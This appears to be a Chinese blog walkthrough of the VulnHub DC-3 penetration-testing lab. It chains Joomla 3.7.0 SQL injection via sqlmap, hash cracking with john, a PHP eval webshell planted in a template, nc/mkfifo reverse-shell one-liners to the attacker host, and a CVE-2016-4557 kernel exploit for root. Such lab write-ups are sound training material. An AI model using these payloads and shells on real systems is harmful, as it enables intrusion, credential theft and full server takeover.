一、环境搭建：
1、靶场描述
DC-3是另一个专门建立的易受攻击的实验室，旨在获得渗透测试领域的经验。与之前的DC版本一样，这个版本是为初学者设计的，尽管这一次只有一个标志，一个入口点，根本没有线索。必须具备Linux技能并熟悉Linux命令行，还必须具有使用基本渗透测试工具的经验。对于初学者来说，谷歌可以提供很大的帮助，但你可以随时在@DCAu7上推我让你重新开始。但请注意:我不会给你答案，相反，我会给你一个如何前进的想法。对于那些有CTF和Boot2Root挑战经验的人来说，这可能不会花你很长时间(事实上，它可能只需要不到20分钟)。如果是这种情况，如果你想让它更具挑战性，你可以重做挑战，探索其他获得根和获得旗帜的方法。
只有一个flag
2、下载靶场环境
靶场下载地址：
https://www.vulnhub.com/entry/dc-32,312/
二、渗透靶场
1、KALI和DC-3都在NAT模式下打开虚拟机点击DC-3右键点击设置
2、DC-3里面需要修改一些东西，把DC里面的改成IDE 0:0都完成后开启KALI和DC-3
3、先确认KALI和DC-3所在的网段输入：ifconfig
确认了KALI和DC-3所在的网段为192.168.63.128/24网段
4、查找DC-3IP可以使用nmap
确认了kali:192.168.63.128
DC-3:192.168.63.131
输入：nmap -sP 192.168.63.131
5、信息收集：探端口及服务
输入：nmap -A -p- -v 192.168.66.142
-A 综合性扫描
-v 冗余模式。强烈推荐使用这个选项，它会给出扫描过程中的详细信息
发现开放了80端口，存在web服务，Apache/2.4.18，CMS为Joomla
访问网站打开虚拟机里面的火狐在URL中输入：192.168.63.131
6、利用JoomScan进行扫描获取后台地址
由于我们前面采用nmap进行扫描时我们已经发现了中间件为joomla，我们可以采用joomscan进行扫描，如果我们不知道是joomla，我们可以采用目录扫描或者nikto等扫描工具进行扫描。发现更多的信息。
（1）.JoomScan简介OWASPJoomla！漏洞扫描器（JoomScan）是一个开源项目，其主要目的是实现漏洞检测的自动化，以增强Joomla CMS开发的安全性。该工具基于Perl开发，能够轻松无缝地对各种Joomla项目进行漏洞扫描，其轻量化和模块化的架构能够保证扫描过程中不会留下过多的痕迹。它不仅能够检测已知漏洞，而且还能够检测到很多错误配置漏洞和管理权限漏洞等等。除此之外，OWASP JoomScan使用起来非常简单，不仅提供了非常友好的用户界面，而且还能够以HTML或文本格式导出扫描报告。
（2）.JoomScan简单使用
执行默认检测：
perl joomscan.pl --url www.example.com
perl joomscan.pl -u www.example.com
枚举已安装的组件：
perl joomscan.pl --url www.example.com --enumerate-components
perl joomscan.pl -u www.example.com –ec
设置cookie：
perl joomscan.pl --url www.example.com --cookie "test=demo;"
设置user-agent：
perl joomscan.pl --url www.example.com --user-agent "Googlebot/2.1(+http://www.googlebot.com/bot.html)"
perl joomscan.pl -u www.example.com -a "Googlebot/2.1(+http://www.googlebot.com/bot.html)"
设置随机user-agent
perl joomscan.pl -u www.example.com --random-agent
perl joomscan.pl --url www.example.com -r
更新JoomScan：
perl joomscan.pl –update
（3）.joomScan扫描
joomscan --url http://192.168.66.142 提示没有joomscan 选择y安装
先输入:apt update
输入：apt-get install joomscan
输入：joomscan --url http://192.168.63.131 提示没有joomscan 选择y安装
扫描结果如页面所示
知道了joomla cms版本为3.7.0
得到了网站后台地址 http://192.168.63.131/administrator
打开虚拟机中的火狐在url中输入:192.168.63.131/administrator/
利用nikto扫描获取后台地址
7、（1）.Nikto简介
Nikto是一个开源的WEB扫描评估软件，可以对Web服务器进行多项安全测试，能在230多种服务器上扫描出 2600多种有潜在危险的文件、CGI及其他问题。Nikto可以扫描指定主机的WEB类型、主机名、指定目录、特定CGI漏洞、返回主机允许的 http模式等。
（2）.Nikto简单使用
①、常规扫描
nikto -host/-h http://127.0.0.1
nikto -h http://127.0.0.1
②、可以指定端口进行扫描，同样可以指定SSL协议，进行HTTPS扫描。
nikto -h http:// 127.0.0.1 -p 443 ssl
③、指定子目录进行目录爆破
nikto -h http:// 127.0.0.1 -C /dvwa
④、批量扫描
nikto -host list.txt
⑤、升级更新插件
nikto -update
⑥、查看工具版本和插件版本
nikto -V
⑦、查看插件信息
nikto -list-plugins
⑧、命令查看帮助信息
nikto
⑨、查看更详细的帮助信息
nikto -H
man nikto
（3）.Nikto扫描
输入:nikto --ur http://192.168.63.131/
8、 查找漏洞发现存在SQL注入 我们前面知道了CMS为joomla，版本为3.7.0 使用searchsploit检查到有对应的漏洞
输入：searchsploit joomla 3.7.0
输入： searchsploit -m 42033.txt
输入： cat 42033.txt
可以看到poc，来验证一下，在火狐中
可以看到提示，数据库语句错误
9、sqlmap跑出数据
（1）跑出所有数据库
sqlmap -u "http://192.168.63.131/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --dbs -p list[fullordering] –batch
（2）获取当前数据库的名字joomladb
sqlmap -u "http://192.168.63.131/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -p list[fullordering] --current-db –batch
(3).sqlmap -u "http://192.168.63.131/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 -p list[fullordering] -D "joomladb" --tables --batch
（4）.获取joomladb的users表的字段名
sqlmap -u "http://192.168.63.131/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 -p list[fullordering] -D "joomladb" --tables -T "#__users" --columns
输入:y
第二个选项，使用“y”，不要使用默认的，不然会出错
第三个选项随意
第四个选项使用10线程
最终跑出来6个字段
(5).获取目标字段username和password
sqlmap -u "http://192.168.63.131/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 -p list[fullordering] -D "joomladb" --tables -T "#__users" --columns -C "username,password" --dump --batch
获得结果如下
拿到一个用户名和加密的密码
10、 利用john爆破密码snoopy
复制admin里面的
输入：echo $2y$10$DpfpYjADpejngxNh9GnmCeyIHCWpL97CVRnGeZsVJwR0kWFlfB1Zu > 1.txt
输入：cat 1.txt
使用john破解出admin密码是snoopy
输入：John 1.txt
11、利用获取到的账号密码进行登录
在火狐中URL里面输入：http://192.168.63.131/administrator/
输入：admin/snoopy
12、上传webshell
发现一个上传
点击Beez3 Details and Files进入
我们发现可以上传文件，考虑上传木马，也可以创建文件进行编辑
要上传木马，我们先要找到当前文件所在的目录：
输入：http://192.168.63.131/templates/beez3/html/
回到刚才的页面点击new file
在html下创建一个php文件，名字叫做shell
创建成功之后，跳到编辑页面，然后我们输入php一句话，点击左上角绿色的save进行保存
<?php
echo ("密码是a");
@eval($_REQUEST [a]);
?>
再次访问http://192.168.63.131/templates/beez3/html/
发现多了一个shell.php文件，我们访问一下
访问webshell，得到我们设置的会先内容，文件上传成功
输入：http://192.168.63.131/templates/beez3/html/shell.php
13、在桌面找到蚁剑打开右键添加数据 去虚拟机火狐中的URL里复制并粘贴到蚁剑中密码是a
右键进入虚拟终端执行whaomi查询我权限，是www-data权限
14、反弹shell到kali
回到虚拟机kali页面输入：nc -lvvp 1234
再回到蚁剑这里使用kali本机的IP地址
输入： nc -e /bin/bash 192.168.63.128 1234
发现-e参数不可用
使用如下目录连接
使用kali本机的IP地址
输入：rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.63.128 1234 >/tmp/f
返回kali输入 ls
15、 创建交互式shell
经常用shell的都知道这个shell不好用，我们建立一个交互式shell
常用的就是python创建交互式shell
输入：python3 -c 'import pty; pty.spawn("/bin/bash")'
16、 使用辅助脚本发现提权漏洞
（1）.下载辅助脚本Linux-Exploit-Suggester.sh
下载地址：GitHub - The-Z-Labs/linux-exploit-suggester: Linux privilege escalation auditing tool
（2）.上传辅助脚本
我们直接在蚁剑中上传双击点开192.168.63.131然后右键点击上传文件选择D盘中的DC-3 linux里面的第三个打开
（3）发现漏洞
返回kali
输入：ls -l linux-exploit-suggester.sh
发现没有执行权限，我们给他加个执行文件
输入：chmod +x linux-exploit-suggester.sh
执行脚本
输入：./linux-exploit-suggester.sh
发现很多可利用漏洞
17、.使用辅助脚本提权
(1).获取提权脚本
上面发现了很多漏洞，这里我们挑一个进行提权
挑选CVE-2016-4557
在图片里可以看到是一个39772的文件，由于给出的那个URL无法下载
也可以去searchsploit里面去看看
新建一个窗口输入：searchploit -m 39772.txt
输入：cat 39772.txt
地址根上面一样也不能使用
（2）可以使用下面地址直接下载
在浏览器中下载： bin-sploits/39772.zip · main · Exploit-DB / Binary Exploits · GitLab
打开蚁剑 双击192.168.63.131右键点击上传文件选择C盘中的用户里面的admin找到下载点开选中39772.zip打开(这里的39772.zip不需要解压)
3.提权
解压文件
unzip 39772.zip
返回kali输入：ls
unzip 39772.zip
cd 39772
ls
tar -xvf exploit.tar
cd ebpf_mapfd_doubleput_exploit
ls
./compile.sh
./doubleput.c
ls
./doubleput
whoami
执行完之后，提权成功
18、.发现the-flag.txt
cd /root
ls
cat the-flag.txt
标签：http,--,DC,192.168,63.131,输入,靶场,com,综合 From： https://blog.csdn.net/2401_87609825/article/details/142744262